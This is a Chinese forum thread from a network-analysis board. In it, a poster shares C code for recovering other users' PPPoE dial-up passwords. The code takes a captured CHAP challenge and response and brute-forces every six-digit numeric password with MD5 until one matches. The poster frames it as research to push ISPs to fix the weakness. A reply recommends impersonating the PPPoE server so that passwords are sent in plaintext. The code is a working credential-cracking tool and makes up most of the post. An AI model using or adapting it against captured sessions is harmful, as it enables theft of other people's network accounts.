设为首页收藏本站

网络分析论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 5659|回复: 7

pppoe 截获他人CHAP密码的函数

[复制链接]
yyc520 发表于 2007-5-1 23:48 | 显示全部楼层 |阅读模式
本为试图说明我们常用的PPPoE拨号的密码的脆弱。
希望网络提供商可以改进。
附件中的程序可以破译出CHAP会话的密码(如果为6为数字),作为研究之用仅显示密码的最高位和最低位。


贴出一下代码,这些代码有些弱智,大家不要看的太认真啦。。。。。。。。。。。。


        int GetPassword(const unsigned char * pChallenge,
                                        const unsigned char * pResponse,
                                        char * account)
        {
                int i=0;
                while (i<1000000)
                {
                        char password[7];
                        sprintf(password, "%06d", i);
                        if (TestChap(pChallenge, pResponse, password))
                        {
                                printf("ah~~ account is %s and ", account);
                                printf("password is %s!\n", password);
                                return i;
                        }               
                        i++;
                }
                return -1;
        }


        bool TestChap(const unsigned char * pChallenge,
                                  const unsigned char * pResponse,
                                  const char * pPassword)
        {
                unsigned char buffer[512], temp[16];
                static CMd5Lib Md5;
                int mylen;       
                buffer[0] = 1;
                memcpy(&buffer[1], pPassword, strlen(pPassword));
                mylen = (int)strlen(pPassword)+1;
                memcpy(&buffer[mylen], pChallenge, 16);
                mylen += 16;               
                Md5.GetMd5Code(buffer, mylen, temp);
                if (0 == memcmp(temp, pResponse, 16))
                {
                        return true;
                }
                else
                {
                        return false;
                }       
        }



        int ChapTry(char * filename)
        {
                FILE * fp = NULL;       
                unsigned char tempBuffer[128];
       
                fp = fopen(filename, "rb+");
                if (NULL == fp)
                {
                        printf("File %s can't be opened for write!\n", filename);
                        return FILE_OPEN_ERROR;
                }

                fread(tempBuffer, 1, 32, fp);
                if ('|' != fgetc(fp))
                {
                        printf("File format is Invalid.\n");
                        return FILE_FORMAT_ERROR;
                }
                Hex2Bin(tempBuffer, challenge);

                fread(tempBuffer, 1, 32, fp);
                if ('|' != fgetc(fp))
                {
                        printf("File format is Invalid.\n");
                        return FILE_FORMAT_ERROR;
                }
                Hex2Bin(tempBuffer, response);

                int i=0;

                account = fgetc(fp);
                while ((!feof(fp)) && ('|' != account))
                {
                        account[++i] = fgetc(fp);
                }
                account = 0;
               
                if (i != 16)
                {
                        printf("Account error!\n");
                }

                i=0;
                while (i<1000000)
                {
                        char password[7];
                        sprintf(password, "%06d", i);
                        if (TestChap(challenge, response, password))
                        {
                                printf("ah~~ account is %s and ", account);
                                printf("password is %s!\n", password);
                                break;
                        }               

                        i++;
                }
                return 0;
        }

郁闷自己没有威望,下个东东都下不下来!
孝敬一下小虾们。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
ipconfig 发表于 2007-5-5 18:53 | 显示全部楼层
支持一下,最好的方法还是伪造服务器,直接制定明文密码传送方式,这样就不用破解了
这是我以前做的
http://blog.footoo.org/?p=99

如果使用PPOE的话,是无法避免的。只有改造现有的协议,使用一个私有的协议,这样的话,被利用的可能性就比较小了。
就像实达的认证系统,使用变态的私有协议,并且还不断的更新

[ 本帖最后由 ipconfig 于 2007-5-5 18:58 编辑 ]
 楼主| yyc520 发表于 2007-5-5 22:27 | 显示全部楼层

呵呵

谢谢关注
bigmao 发表于 2007-6-1 14:46 | 显示全部楼层
xplhwxp 发表于 2008-4-23 00:12 | 显示全部楼层
tg78007 发表于 2008-7-30 14:23 | 显示全部楼层
简约铭枫 发表于 2014-10-27 13:12 | 显示全部楼层
在后面顶楼主

Archiver|手机版|小黑屋|网络分析论坛 ( 京ICP备05002225  

GMT+8, 2020-1-22 00:33 , Processed in 1.218750 second(s), 29 queries .

Powered by Discuz! X3.3

© 2001-2014 协议分析论坛

快速回复 返回顶部 返回列表